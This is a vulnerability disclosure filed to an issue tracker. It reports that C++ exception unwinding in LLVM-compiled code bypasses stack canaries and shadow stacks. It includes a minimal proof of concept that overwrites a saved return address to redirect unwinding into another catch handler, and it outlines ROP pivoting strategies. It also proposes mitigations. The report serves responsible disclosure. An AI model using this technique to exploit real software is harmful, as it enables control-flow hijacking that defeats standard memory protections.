IssueTracker

# Bug Description

During exception handling, the unwinding process is controlled by data located on the stack. Assuming an attacker capable of corrupting stack memory, this results in operation on potentially attacker controlled data and allows crafting powerful memory corruption and control-flow hijacking primitives. Under normal circumstances, this would be mitigated by stack canaries, shadow stacks, or other backward-edge control-flow protections. We found that these checks are missing or not enforced on the unwinding control-flow path.

We have found a variety of exploitation strategies and demonstrated applicability by creating proof-of-concept code execution exploits of real-world vulnerabilities otherwise mitigated by stack canaries.
The core concept is corrupting the saved return address which is used by the unwinder to determine both the call frame information and the landing pads invoked. In the most simple case, this allows diverting execution to other exception handlers, controlling their stack frames and pivoting to ROP using handlers without canaries.

Furthermore, current shadow stack implementations including LLVM ShadowCallStack can be bypassed using this technique as the unwinding process is solely based on the normal stack.

# Impact

Attackers capable of corrupting stack memory and forcing a program to enter the unwinding path (e.g., by throwing an exception) can bypass existing backwards-edge control-flow protections.


# Proof of Concept

To demonstrate the issue, we created the minimal proof-of-concept below. It overwrites both the canary and saved return inside vuln(), and only throws in case an command line argument was provided. The saved return address points into the try block of catches().
```
// Compile with:
// clang++ -fstack-protector-all -fomit-frame-pointer -Wno-array-bounds llvm_test.cpp
#include <unistd.h>
 
void catches () {
   try {
       throw 1;
   }
   catch (...) {
       write(STDOUT_FILENO, "win\n", 4);
       _exit(1);
   }
}
 
void vuln(int op) {
   void * buf[1];
   buf[2] = (char *) catches + (size_t) 28;   // overwrite the saved return address - depending on your system, the offset may need to be changed
   buf[1] = (void *) 0xdeadbeef; // clobber the canary, because our exploit would do that too
 
   // Throw only under certain conditions
   // This way, the intended behaviour when clobbering the canary can be observed
   if (op == 1){
       throw 1;
   }
}
 
int main(int argc, char **argv) {
   if (argc > 1)
       vuln(1); // Show our proof of concept
   else
       vuln(2); // Counter-Example:
}
```


We compiled this example with LLVM-14, using the docker environment provided by silkeh/clang. When executed, the behavior looks as follows:

```
$ ./poc
*** stack smashing detected ***: terminated
Aborted (core dumped)
$ ./poc test
Win
```

In other words, only in the first case, where the code triggers the return (rather than unwinding) path using the saved returned address, we observe a (failed) canary check.

# Potential Mitigations

Ensure canary checks are present on the unwinding path. This includes prior to throwing as well as prior to dereferencing the saved return address by the unwinder for each frame.

When unwinding using shadow stacks, ensure consistency between the shadow stack and the main stack or use the saved return addresses from the shadow stack to unwind.
For additional hardening, emit canaries for functions containing landing pads.

# Other parties involved

In parallel, we also disclose this issue to Apple, Microsoft, Intel & Google.

Besides this, we wrote an academic paper about this issue and submitted it to the Network and Distributed Systems Symposium (NDSS) 2023. While acceptance is not guaranteed, this paper may be presented in February 2023.

# Disclosure Timeline

To provide adequate time for addressing this issue, we will be delaying online publication of our work for a standard disclosure period of 90 days. In case this does not work for you, please reach out to us so we can discuss alternative timelines and, potentially, coordinate with other vendors.

# Additional Information

For additional details, we are happy to answer questions and share a preprint of the academic paper.